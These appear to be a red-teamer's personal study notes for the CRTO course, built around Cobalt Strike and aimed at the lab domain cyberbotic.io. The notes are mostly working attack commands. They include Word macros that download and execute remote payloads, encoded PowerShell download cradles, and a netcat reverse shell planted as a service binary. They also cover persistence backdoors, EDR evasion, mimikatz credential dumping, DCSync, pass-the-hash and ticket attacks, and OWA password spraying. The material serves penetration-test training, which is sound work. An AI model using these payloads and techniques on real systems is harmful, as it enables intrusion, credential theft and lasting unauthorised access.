# Cobalt Strike

This is a temporary notes while I finished the course then I moved to

## How to set up the Team Server

```sh
#Start the teamserver and run as service
Intrusionz3r0@htb[/crto]$ tmux
Intrusionz3r0@htb[/crto]$ cd cobaltstrike
Intrusionz3r0@htb[/crto]$ sudo ./teamserver <Attacker-Box> <Password-TeamServer> c2-profiles/normal/webbug.profile
```

Launch cobalt strike client from the taskbar and enter the next details as follows:

```sh
#Set parameters:
Alias: Kali-Intrusionz3r0
Host: <Attacker-Box>
Port: Defaul Port
Username: Intrusionz3r0
Password: <Password-TeamServer>
```

#### Running team server as service to start automatically

```sh
Intrusionz3r0@htb[/crto]$ sudo nano /etc/systemd/system/teamserver.service
```

```
[Unit]
Description=Cobalt Strike Team Server
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=always
RestartSec=1
User=root
WorkingDirectory=/home/attacker/cobaltstrike
ExecStart=/home/attacker/cobaltstrike/teamserver <Attacker-Box> <Password-TeamServer> c2-profiles/normal/webbug.profile

[Install]
WantedBy=multi-user.target
```

```sh
Intrusionz3r0@htb[/crto]$ sudo systemctl daemon-reload
Intrusionz3r0@htb[/crto]$ sudo systemctl start teamserver.service
Intrusionz3r0@htb[/crto]$ sudo systemctl enable teamserver.service
Intrusionz3r0@htb[/crto]$ sudo systemctl status teamserver.service
```

#### Setting up DNS records for DNS based beacon payloads

<figure><img src="/files/gYBWBxjyQ9vYet95VEhR" alt=""><figcaption></figcaption></figure>

## **Cobalt Functionalities**

### **Listeners**

#### **How to Set Up an Listener:**

* Go to *Cobalt Strike > Listeners* or click the headphone icon. :headphones:
* Click **Add (**&#x42;elow ba&#x72;**)**, choose *Beacon HTTP/DNS/TCP/SMB*, and name it (something easy to remember).
  * beacon\_http\_1234
  * beacon\_initial-access\_1234
  * beacon\_tcp\_1234
* Add the server's IP or domain name Ex: nickelviper.com

<figure><img src="/files/BEJoRcmRHaeMlnA0QMAL" alt=""><figcaption></figcaption></figure>

#### Setting up a listener proxy aware (beacon)

<figure><img src="/files/MvV6Z1vSjgK6ryGtjAY8" alt=""><figcaption></figcaption></figure>

#### Setting up the SMB Listener

* Default pipe name is quite well signatured.  A good strategy is to emulate names known to be used by common applications or Windows itself.&#x20;

```powershell
PS C:\> ls \\.\pipe\
```

* Select one for example: `TSVCPIPE-4036c92b-65ae-4601-1337-57f7b24a0c57`
* C**hange the final 4 characters**: `TSVCPIPE-4036c92b-65ae-4601-1337-57f7b24aAAAA`

<figure><img src="/files/7WnKwsNJyNUgtb5A2tzY" alt=""><figcaption></figcaption></figure>

### Pivot Listeners

**Pivot Listeners** are an advanced Cobalt Strike feature that lets you use an already compromised *Beacon* as a "bridge" to reach other internal systems in a network.

**Setting up**: `Click on beacon > pivoting > listener`

<figure><img src="/files/4KcCPkBzKHIKEhjfNWut" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
Pivots can only be created by beacons
{% endhint %}

```powershell
PS C:\> netstat -anop tcp | findstr 1234
```

### Set up a Script web delivery

**Setting up:** `Attacks > Scripted Web Delivery (S)`

<figure><img src="/files/8hhVRCdgBbW9IIJBJbnw" alt=""><figcaption></figcaption></figure>

### Hosting a file&#x20;

**Setting up**: `Site Management > Host file`

<figure><img src="/files/Bs3Mo7UTLYFxaKkPhYl0" alt=""><figcaption></figcaption></figure>

### Session passing

```sh
#-----------------------------------------------------------------------------------
#CASE 1: Beacon Passing (Within Cobalt Strike - Create alternate HTTP beacon while keeping DNS as lifeline)
beacon> spawn x64 http

#-----------------------------------------------------------------------------------
#CASE 2: Foreign Listener (From CS to Metasploit - Staged Payload - only x86 payloads)
# Setup Metasploit listener
attacker@ubuntu ~> sudo msfconsole -q
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST ens5
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > run

# Setup a Foreign Listener in cobalt strike with above IP & port details

# Use Jump psexec to execute the beacon payload and pass the session
beacon> jump psexec Foreign_listener
#-----------------------------------------------------------------------------------
#CASE 3: Shellcode Injection (From CS to Sliver)
sliver >  generate beacon --mtls <your_server_ip>:<PORT> --os windows --arch amd64 --format shellcode --save sliver-mtls  --seconds 5 --jitter 3 
sliver > mtls --lhost <your_server_ip> --lport <PORT>

# Inject msf shellcode into process memory
beacon> shspawn x64 C:\Payloads\sliver-mtls.bint
```

## Cobalt Strike kits (extensions)

Cobalt Strike → Script Manager → Load:

* <https://github.com/rsmudge/ElevateKit>
* [https://github.com/praetorian-inc/PortBender/](https://github.com/praetorian-inc/PortBender/blob/main/static/PortBender.cna)
* <https://github.com/rasta-mouse/SCMUACBypass>
* <https://github.com/rasta-mouse/Aggressor-Script/blob/master/lateral/dcom.cna>
* C:\Tools\cobaltstrike\artifacts\pipe\artifact.cna
* C:\Tools\cobaltstrike\resources\resources.cna
* C:\Tools\cobaltstrike\mimikatz\mimikatz.cna
* <https://github.com/outflanknl/Spray-AD>

## Cobalt Strike useful commands

{% hint style="info" %}
The longer the sleep, the healthier the beacon due to less communication and stealth.
{% endhint %}

```sh
#Show help menu
beacon> help 
beacon> help sleep 
#Modify sleep communication time
beacon> sleep 5 
beacon> sleep 0 #Interactive mode (real time)

#Connect to Beacond bind TCP connection
beacon> connect [localhost|ip|hostname] PORT

# Impot Module  
beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1

#execute commands
beacon> shell <command-cmd>
beacon> powershell #Normal powershell (Do not use)
beacon> powerpick #using Unmanaged PowerShell (evasion-AMSI)
beacon> run program.exe

# Execute from local binary
beacon> execute-assembly <binary-path> <params>

# ========================
# User Impersonation  
# ========================

#Retrieves the user ID of the current process running the Beacon
beacon> getuid

#Performing Pass the hash 
beacon> pth DOMAIN\username hash

# Steal access token from another process
beacon> steal_token <PID>

#Make a token to impersonate user using plaintext credentials
beacon> make_token DEV\jking <Password>

#Allows you to inject any arbitrary shellcode from .bin files
beacon> shinject <PID> <x86|x64> /path/to/binary.bin

#Inject a full beacon payload from the specified listener
beacon> inject 4464 x64 tcp-local

#Steal token and store it
beacon> token-store steal 1234

# List all stored tokens
beacon> token-store show

# Impersonating a Stored Token
beacon> token-store use <id>

# Removing a Single Token or Purge all tokens
beacon> token-store remove <id>
beacon> token-store remove-all

# Drop the impersonation (Revert to ourself)
beacon> rev2self
```

## Notes for CRTO

### External Reconnaissance

```sh
# Obtain the IPV4
Intrusionz3r0@htb[/crto]$ dig cyberbotic.io

# Enumerate subdomains
Intrusionz3r0@htb[/crto]$ ./dnscan.py -d cyberbotic.io -w subdomains-100.txt

# Idenitfy the NETBIOS name of target domain
PS C:\> ipmo C:\Tools\MailSniper\MailSniper.ps1
PS C:\> Invoke-DomainHarvestOWA -ExchHostname mail.cyberbotic.io

# Extract Employee Names (FirstName LastName) and Prepare Username List
Intrusionz3r0@htb[/crto]$ ~/namemash.py names.txt > possible.txt

# Validate the username to find active/real usernames
PS C:\> Invoke-UsernameHarvestOWA -ExchHostname mail.cyberbotic.io -Domain cyberbotic.io -UserList .\Desktop\possible.txt -OutFile .\Desktop\valid.txt

# Conduct Password Spraying attack with known Password on identified users
PS C:\> Invoke-PasswordSprayOWA -ExchHostname mail.cyberbotic.io -UserList .\Desktop\valid.txt -Password Summer2022

# Use Identified credentials to download Global Address List
PS C:\> Get-GlobalAddressList -ExchHostname mail.cyberbotic.io -UserName cyberbotic.io\iyates -Password Summer2022 -OutFile .\Desktop\gal.txt
```

**Linkedln enumeration**

* <https://github.com/vysecurity/LinkedInt>
* <https://github.com/m8sec/CrossLinked>
* <https://hunter.io/>

### Gaining Initial foothold

Bypassing AV/EDR

* Remote shellcode loader/ Shellcode embeeded on image &#x20;
* Function call obfuscation
* Encoding Shellcode (RC4,XOR,AES)
* SysWhisperer3 Direct & Indirect Syscalls.
* Trampoline via breakpoint & direct instruction pointer setting
* Early Bird (NtQueueUserAPC) into a remote process
* Keeping Memory RX

#### Simple Macro for MS Word

```vba
Sub AutoOpen()

  Dim Shell As Object
  Set Shell = CreateObject("wscript.shell")
	Shell.Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://nickelviper.com/a'))"""

End Sub
```

#### Advanced Macro for MS Word

```vba
Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" ( _
    ByVal pCaller As Long, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long

Private Declare PtrSafe Function WinExec Lib "kernel32" ( _
    ByVal lpCmdLine As String, _
    ByVal uCmdShow As Long) As Long

Sub AutoOpen()
    URLDownloadToFileA 0, "http://10.8.5.48/Loader.exe", "C:\Windows\system32\spool\drivers\color\Loader.exe", 0, 0
    WinExec "C:\Windows\system32\spool\drivers\color\Loader.exe", SHOW_HIDE
End Sub
```

### Internal Enumeration

Identify security solutions in placed through the system.

#### **EDR / (AV)**

* **CrowdStrike Falcon**: `csagent.exe`, `CSFalconService.exe`
* **Microsoft Defender**: `MsMpEng.exe`, `MSASCui.exe`
* **Elastic Security**: `elastic-agent.exe`, `elastic-endpoint.exe`
* **Carbon Black**: `cb.exe`, `CbDefense.exe`
* **SentinelOne**: `SentinelAgent.exe`
* **CylancePROTECT**: `CylanceSvc.exe`
* **Symantec**: `ccSvcHst.exe`, `Rtvscan.exe`
* **Trend Micro**: `TmCCSF.exe`
* **Kaspersky**: `avp.exe`

#### **SIEM**

* **Splunk**: `splunkd.exe`
* **IBM QRadar**: `qradar.exe`
* **Tanium**: `TaniumClient.exe`

#### Another tools

* **Sysmon**: `sysmon.exe`
* **Osquery**: `osqueryd.exe`
* **Wazuh**: `wazuh-agent.exe`

```sh
# List the proccess running on the system
beacon> ps

#Enumerate users that are currently logged on the machine.
beacon> net logons

# Collect information about security configuration
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe -group=system

#Take screenshots (View > screenshots)
beacon> printscreen
beacon> printshot
beacon> screenwatch

#Enable keylogger.
beacon> keylogger
beacon> jobs
beacon> jobkill 6

#Copy data from clipboard
beacon> clipboard
```

### Host Persistence

**Tool:** [SharPersist](https://github.com/mandiant/SharPersist)

**Aggressor Scripts:** [persistence-sharpersist](https://github.com/Peco602/cobaltstrike-aggressor-scripts/tree/main/persistence-sharpersist)

**Powershell Executable file location:** [PowerShell\_Executables\_File\_System\_Locations.php](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations.php)

**Powerlurck:** [PowerLurk](https://github.com/Sw4mpf0x/PowerLurk)

<pre class="language-powershell"><code class="lang-powershell"><strong>#Powershell paths
</strong>C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
<strong>
</strong><strong># Encode Payload on Windows
</strong>PS C:\> $str = 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/shell.ps1"))'
PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

# Encode Payload on Linux 
Intrusionz3r0@htb[/crto]$ echo -n "IEX(New-Object Net.WebClient).downloadString('http://nickelviper.com/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0;echo

#Execute command
PS C:\> powershell -nop -enc &#x3C;BASE64_ENCODED_PAYLOAD>

#Task Scheduler (Create scheduled tasks that execute payloads at specific triggers (logon, hourly, boot, etc.).)
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "ARGUMENT" -n "NAME" -m add/remove/check/list -o hourly
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "ARGUMENT" -n "NAME" -m add/remove/check/list -o logon

#Startup Folder (Place an executable/script in the user's Startup folder to execute at login.)
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAKABOAG&#x3C;SNIF>" -f "Filenameoutput" -m add 

# Registry Autorun (Modify Registry keys (HKCU or HKLM) to auto-run payloads at user logon or system startup.)
beacon> cd C:\Windows\System32\spool\drivers\color
beacon> upload C:\Payloads\http_x64.exe
beacon> mv http_x64.exe Timer.exe
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t reg -c "C:\ProgramData\Timer.exe" -a "/q /n" -k "hkcurun" -v "Timer" -m add

# Windows Service (Create or modify a Windows service to execute your payload, typically set to start automatically.)
beacon> cd C:\Windows
beacon> upload C:\Payloads\tcp-local_x64.svc.exe
beacon> mv tcp-local_x64.svc.exe legit-svc.exe
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t service -c "C:\Windows\legit-svc.exe" -n "legit-svc" -m add

# Register WMI event Register a WMI event to trigger a payload on specific actions (e.g., when opening notepad.exe).
beacon> cd C:\Windows
beacon> upload C:\Payloads\dns_x64.exe
beacon> powershell-import C:\Tools\PowerLurk.ps1
beacon> powershell Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\dns_x64.exe" -Trigger ProcessStart -ProcessName notepad.exe
#Obtain information about WmiEvent
beacon> Get-WmiEvent -Name WmiBackdoor
#Remove Wmi Event  
beacon> Get-WmiEvent -Name WmiBackdoor  | Remove-WmiObject
</code></pre>

#### Hijacking COM objects

**Process Monitor:** [procmon](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon)

Use process monitor and set filters as follows:

<figure><img src="/files/7yJFYhrGBrfL98NH82tF" alt=""><figcaption></figcaption></figure>

Look for any particular process is loading a `.dll` or `.exe` and take note about CLSID.

<pre class="language-powershell"><code class="lang-powershell">#Check whether exists or not.
PS C:\> Get-Item -Path "HKLM:\Software\Classess\CLSID\{ID}\InprocServer32"
PS C:\> Get-Item -Path "HKCU:\Software\Classess\CLSID\{ID}\InprocServer32"

#Hijacking COM object
PS C:\> New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079ABD5}"
PS C:\> New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079ABD5}" -Name "InprocServer32" -Value "C:\PATH\http_x64.dll"
<strong>PS C:\> New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079ABD5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
</strong>
#Get the object
PS C:\> Get-ChildItem -Path "Registry::HKCR\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079ABD5}"
</code></pre>

#### Script to detect CLSID with Powershell

```powershell
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
    if ($Task.Actions.ClassId -ne $null)
    {
        if ($Task.Triggers.Enabled -eq $true)
        {
            if ($Task.Principal.GroupId -eq "Users")
            {
                Write-Host "Task Name: " $Task.TaskName
                Write-Host "Task Path: " $Task.TaskPath
                Write-Host "CLSID: " $Task.Actions.ClassId
                Write-Host
            }
        }
    }
}
```

### Host Privilege Escalation

{% hint style="success" %}
It is recommended to use TCP beacons bound to localhost only for privilege escalation
{% endhint %}

<pre class="language-powershell"><code class="lang-powershell"># Enumerate Services installed on server
beacon> run wmic service get name, pathname
beacon> run sc query
beacon> run sc qc VulnService1
beacon> run sc stop VulnService1
beacon> run sc start VulnService1
beacon> powershell Get-Service | fl
beacon> powershell Stop-Service -Name 'IObitUnSvr'
beacon> powershell Start-Service -Name 'IObitUnSvr'
beacon> powershell Restart-Service -Name 'IObitUnSvr'

#Modify the binaries execution
beacon> powershell Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe 10.10.10.205 443"
beacon> run sc config &#x3C;ServiceName> binpath="COMMAND-HERE"

<strong>#Shutdown machine
</strong><strong>beacon> run shutdown -r -t 0
</strong><strong>
</strong><strong>#Enumerate the system
</strong>beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit UnquotedServicePath

#Enumerate ACLs
beacon> run icacls "C:\PATH"
beacon> powershell Get-Acl -Path "C:\PATH" | fl

# Use SharpUp to find exploitable services
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit 

# CASE 1: Unquoted Service Path (Hijack the service binary search logic to execute our payload)
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit UnquotedServicePath
beacon> powershell Get-Acl -Path "C:\Program Files\Vulnerable Services" | fl
beacon> cd C:\Program Files\Vulnerable Services
beacon> upload C:\Payloads\tcp-local_x64.svc.exe
beacon> mv tcp-local_x64.svc.exe Service.exe
beacon> run sc stop VulnService1
beacon> run sc start VulnService1
beacon> connect localhost 4444

# CASE 2: Weak Service Permission (Possible to modify service configuration)
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices
beacon> powershell-import C:\Tools\Get-ServiceAcl.ps1
beacon> powershell Get-ServiceAcl -Name VulnService2 | select -expand Access
beacon> run sc qc VulnService2
beacon> mkdir C:\Temp
beacon> cd C:\Temp
beacon> upload C:\Payloads\tcp-local_x64.svc.exe
beacon> run sc config VulnService2 binPath= C:\Temp\tcp-local_x64.svc.exe
beacon> run sc qc VulnService2
beacon> run sc stop VulnService2
beacon> run sc start VulnService2
beacon> connect localhost 4444

# CASE 3: Weak Service Binary Permission (Overwite the service binary due to weak permission)
beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit ModifiableServices
beacon> powershell Get-Acl -Path "C:\Program Files\Vulnerable Services\Service 3.exe" | fl
PS C:\Payloads> copy "tcp-local_x64.svc.exe" "Service 3.exe"
beacon> run sc stop VulnService3
beacon> cd "C:\Program Files\Vulnerable Services"
beacon> upload C:\Payloads\Service 3.exe
beacon> run sc start VulnService3
beacon> connect localhost 4444

</code></pre>

**Script to obtain ACLs:** [Get-ServiceAcl](https://gist.githubusercontent.com/cube0x0/1cdef7a90473443f72f28df085241175/raw/0e26db52faf7261f0ee98559982aca96ea42e26a/Get-ServiceAcl)

```powershell
beacon> powershell-import Get-ServiceAcl.ps1
beacon> powershell Get-ServiceAcl -Name VulnService2 | select -expand Access
```

#### UAC Bypass

```sh
beacon> elevate uac-schtasks tcp-local
beacon> run netstat -anop tcp
beacon> connect localhost <PORT>
```

### Credential Theft

`!` Run command as SYSTEM

`@` Use current token&#x20;

<pre class="language-sh"><code class="lang-sh">#Dump kerberos encryption keys of current logged users
beacon> mimikatz !sekurlsa::ekeys

#Dump credentilas/hashes from LSASS.exe
beacon> mimikatz !sekurlsa::logonpasswords

#Dump SAM database
beacon> mimikatz !lsadump::sam

#Dump LSA secrets
beacon> mimikatz !lsadump::lsa /inject

#Dump domain cached credentials (DCC) - Not NTLM
beacon> mimikatz !lsadump::cache

# Dump TGT/TGS Tickets
beacon> mimikatz !sekurlsa::tickets
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x14794e /nowrap
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /interval:10 /nowrap

# DCSync Attack
beacon> make_token DEV\username password
beacon> dcsync dev.cyberbotic.io DEV\krbtgt
beacon> mimikatz !lsadump::dcsync /all /domain:dev.cyberbotic.io
<strong>#Dump krbtgt hash from DC (locally)
</strong>beacon> mimikatz !lsadump::lsa /inject /name:krbtgt
</code></pre>

**How to crack Domain cached credentials (DCC)**: <https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials#cracking-mscash-mscache-with-hashcat>

### Domain Reconnaissance

Powerview: [powerview](https://hacktricks.boitatech.com.br/windows/basic-powershell-for-pentesters/powerview)

```powershell
# =============================================
# LOAD POWERVIEW INTO COBALT STRIKE SESSION
# =============================================
beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1

# ========================
# BASIC DOMAIN ENUMERATION  
# ========================
beacon> powerpick Get-Domain -Domain <>  # Retrieve domain information
beacon> powerpick Get-DomainSID  # Get domain security identifier
beacon> powerpick Get-DomainController | select Forest, Name, OSVersion | fl  # List domain controllers
beacon> powerpick Get-ForestDomain -Forest <>  # Get forest information
beacon> powerpick Get-DomainPolicyData | select -expand SystemAccess  # View domain password policies

# ===========================
# USER ACCOUNT ENUMERATION
# ===========================
beacon> powerpick Get-DomainUser -Identity jking -Properties DisplayName, MemberOf | fl  # Get specific user details
beacon> powerpick Get-DomainUser | select cn,serviceprincipalname  # Find all users with SPNs (Kerberoasting)
beacon> powerpick Get-DomainUser -PreauthNotRequired  # Find AS-REP roastable accounts
beacon> powerpick Get-DomainUser -TrustedToAuth  # Find accounts with unconstrained delegation

# =============================
# COMPUTER ACCOUNT ENUMERATION
# =============================
beacon> powerpick Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName  # List all domain computers
beacon> powerpick Get-DomainComputer -Unconstrained | select cn, dnshostname  # Find computers with unconstrained delegation
beacon> powerpick Get-DomainComputer -TrustedToAuth | select cn, msdsallowedtodelegateto  # Find computers with constrained delegation

# ========================
# DOMAIN STRUCTURE
# ========================
beacon> powerpick Get-DomainOU -Properties Name | sort -Property Name  # List all Organizational Units
beacon> powerpick Get-DomainComputer -SearchBase "OU=Workstations,DC=dev,DC=cyberbotic,DC=io" | select dnsHostName  # Find computers in specific OU

# ========================
# GROUP ENUMERATION
# ========================
beacon> powerpick Get-DomainGroup | where Name -like "*Admins*" | select SamAccountName  # Find administrative groups
beacon> powerpick Get-DomainGroupMember -Identity "Domain Admins" | select MemberDistinguishedName  # List Domain Admins members
beacon> powerpick Get-DomainGroupMember -Identity "Domain Admins" -Recurse | select MemberDistinguishedName  # Recursively list all members

# ========================
# GROUP POLICY (GPO) ENUMERATION
# ========================
beacon> powerpick Get-DomainGPO -Properties DisplayName | sort -Property DisplayName  # List all GPOs
beacon> powerpick Get-DomainOU -GPLink "{AD2F58B9-97A0-4DBC-A535-B4ED36D5DD2F}" | select distinguishedName  # Find OUs linked to specific GPO
beacon> powerpick Get-DomainGPOLocalGroup | select GPODisplayName, GroupName  # Find local groups defined in GPOs
beacon> powerpick Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName | fl  # Find users with local admin via GPO

# ========================
# DOMAIN TRUSTS AND ACLS
# ========================
beacon> powerpick Get-DomainTrust  # Enumerate domain trusts
beacon> powerpick Find-InterestingDomainAcl -ResolveGUIDs  # Find interesting access control entries

# =================================
# LATERAL MOVEMENT TECHNIQUES
# =================================
beacon> powerpick Find-LocalAdminAccess -Verbose  # Find systems where current user has admin rights
beacon> powerpick Invoke-CheckLocalAdminAccess -ComputerName <server_fqdn>  # Check admin access on specific system
beacon> powerpick Find-PSRemotingLocalAdminAccess -ComputerName <server_fqdn>  # Check PowerShell Remoting access
beacon> powerpick Find-WMILocalAdminAccess -ComputerName <server_fqdn>  # Check WMI access

# =================================
# USER SESSION HUNTING
# =================================
beacon> powerpick Find-DomainUserLocation -Verbose  # Find where users are logged in
beacon> powerpick Find-DomainUserLocation -UserGroupIdentity "Domain Users"  # Find sessions by group
beacon> powerpick Invoke-UserHunter -CheckAccess  # Hunt users + verify admin access
beacon> powerpick Find-DomainUserLocation -CheckAccess  # Alternative method
beacon> powerpick Find-DomainUserLocation –Stealth  # Stealthy approach (focus on fileservers)
beacon> powerpick Invoke-StealthUserHunter  # Enhanced version

# =================================
# ADVANCED HUNTING TECHNIQUES
# =================================
beacon> powerpick Invoke-ProcessHunter  # Hunt for specific processes
beacon> powerpick Invoke-UserEventHunter  # Search DC event logs for logon events

# =================================
# SHARE AND FILE ENUMERATION
# =================================
beacon> powerpick Invoke-ShareFinder –Verbose  # Find network shares
beacon> powerpick Invoke-FileFinder -Verbose  # Search for sensitive files
beacon> powerpick Get-NetFileServer  # List all fileservers in domain


# =================================
# Domain enumeration using Shapview
# =================================
beacon> execute-assembly C:\Tools\SharpView\SharpView\bin\Release\SharpView.exe Get-Domain

# =================================
# Domain enumeration using ADSearch
# =================================

#Search users
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "objectCategory=user"

#Search domain groups which contain Admins words
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=*Admins*))"

#Groups which contains the word "MS SQL Admins"
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=group)(cn=MS SQL Admins))" --attributes cn,member

# Kerberostable Users
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName

# ASEPROAST
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname

# Unconstrained Delegation
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname

# Constrained Delegation
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json

# Additionally, the `--json` parameter can be used to format the output in JSON
```

### User impersonation

#### Pass the hash

```sh
#Retrieves the user ID of the current process running the Beacon
beacon> getuid

#Performing Pass the hash 
beacon> pth DOMAIN\username hash

#Drop impersonation
beacon> rev2self
```

#### Pass the ticket

<pre class="language-sh"><code class="lang-sh"># Create a sacrificial token with dummy credentials
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dev.cyberbotic.io /username:bfarmer /password:FakePass123
<strong>&#x3C;SNIF>
</strong><strong>[+] ProcessID    : 4748
</strong><strong>[+] LUID         : 0x798c2c
</strong>
# Inject the TGT ticket into logon session returned as output of previous command
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /luid:0x798c2c /ticket:doIFuj[...snip...]lDLklP

# OR Combine above 2 steps in one
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:dev.cyberbotic.io /username:bfarmer /password:FakePass123 /ticket:doIFuj[...snip...]lDLklP 

# steal_token command can steal a token from a process that runs on it
beacon> steal_token 4748

#Kill process
beacon> kill 4748
</code></pre>

#### Over pass the hash

```sh
# Request a Ticket Granting Ticket
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /ntlm:<ntlm> /nowrap

# Use aes256 hash for better opsec, along with /domain and /opsec flags (better opsec)
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /aes256:<aes256> /domain:DEV /opsec /nowrap
```

#### Stealing tokens

Allows you to steal the token from another process

```sh
# Steal access token from another process
beacon> ps
beacon> steal_token <PID>

# Drop the impersonation (Revert to ourself)
beacon> rev2self

# Perform Process injection
beacon> inject 4464 x64 tcp-local
beacon> shinject /path/to/binary

```

#### Token store&#x20;

Improved version of `steal_token`

<pre class="language-sh"><code class="lang-sh">#Steal token and store it
beacon> token-store steal 1234
<strong>
</strong><strong># List all stored tokens
</strong>beacon> token-store show

# Impersonating a Stored Token
beacon> token-store use &#x3C;id>

# Removing a Single Token or Purge all tokens
beacon> token-store remove &#x3C;id>
beacon> token-store remove-all

# Drop the impersonation (Revert to ourself)
beacon> rev2self
</code></pre>

#### Making tokens

Allows you to impersonate a user if you know their plaintext password.

```sh
#Make a token to impersonate user using plaintext credentials
beacon> make_token DEV\jking <Password>
```

#### Injecting arbitrary shellcode into a process

```sh
#Allows you to inject any arbitrary shellcode from .bin files
beacon> shinject <PID> <x86|x64> /path/to/binary.bin
#Inject a full beacon payload from the specified listener
beacon> inject 4464 x64 tcp-local
```

```sh

# =================================
# Pass the ticket using rubeus
# =================================

#Request TGT
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
[+] LUID 0x798c2c
[+] ProcessID 4748

#Create sacrificial proccess
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
[+] LUID 0x798c2c

#Inject ticket into 0x798c2c
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /luid:0x798c2c /ticket:doIFuj[...snip...]lDLklP

# Impersonate process created with rubeus.exe
beacon> steal_token 4748

#Drop impersonation and kill process
beacon> rev2self
beacon> kill 4748


# =================================
# OverPassTheHash using rubeus
# =================================

# Calculate all hash formats
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe  hash /password:Password123! /user:harmj0y /domain:testlab.local

